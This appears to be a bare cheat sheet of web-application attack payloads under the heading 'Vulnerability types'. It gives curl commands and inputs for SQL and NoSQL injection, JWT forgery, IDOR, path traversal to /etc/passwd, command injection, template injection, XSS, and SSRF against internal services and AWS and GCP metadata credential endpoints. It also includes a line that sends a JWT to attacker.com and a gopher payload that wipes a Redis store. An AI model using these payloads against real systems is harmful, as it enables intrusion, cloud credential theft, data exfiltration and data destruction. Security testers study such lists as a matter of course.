Vulnerability types

curl -X POST /api/login \
  -d '{"email":"admin'\''--","password":"irrelevant"}'

import jwt
forged = jwt.encode({'user': 'admin'}, public_key, algorithm='HS256')

TOKEN=$(echo '{"alg":"none"}' | base64).\
$(echo '{"user":"admin"}' | base64).

# Regular user accessing user ID 1 (admin)
curl -H "Authorization: Bearer $USER_TOKEN" \
  http://app.com/api/users/1

curl -X PUT /api/profile \
  -d '{"email":"user@example.com","role":"admin"}'

curl http://app.com/download?file=../../../../etc/passwd

curl "http://app.com/search?q=x'%20UNION%20SELECT%20username,password%20FROM%20users--"

# PostgreSQL
curl "http://app.com/api/product/123'%20AND%20pg_sleep(5)--"

# MySQL
curl "http://app.com/api/product/123'%20AND%20sleep(5)--"

{"username": {"$ne": null}, "password": {"$ne": null}}

curl -X POST /api/debug/exec \
  -d '{"command":"ls;cat /etc/passwd"}'

# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Handlebars
{{#with "s" as |string|}}
  {{#with "e"}}
    {{lookup string.sub "constructor"}}
  {{/with}}
{{/with}}

<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<iframe src="javascript:alert('XSS')">

// Payload in URL fragment
http://app.com/#<img src=x onerror=alert(1)>

<!-- Angular -->
<iframe src="javascript:alert(1)">

<!-- React -->
<a href="javascript:alert(1)">Click</a>

# Access Redis
curl -X POST /api/fetch \
  -d '{"url":"http://localhost:6379"}'

# Access internal admin panel
curl -X POST /api/fetch \
  -d '{"url":"http://internal-admin:8080/admin"}'

# AWS
curl -X POST /api/share/report \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP
curl -X POST /api/share/report \
  -d '{"url":"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'

# Exfiltrate JWT to attacker server
curl -X POST /api/share/report \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"url":"http://attacker.com/collect"}'

# File protocol
curl -X POST /api/fetch \
  -d '{"url":"file:///etc/passwd"}'

# Gopher protocol (Redis exploitation)
curl -X POST /api/fetch \
  -d '{"url":"gopher://localhost:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a"}'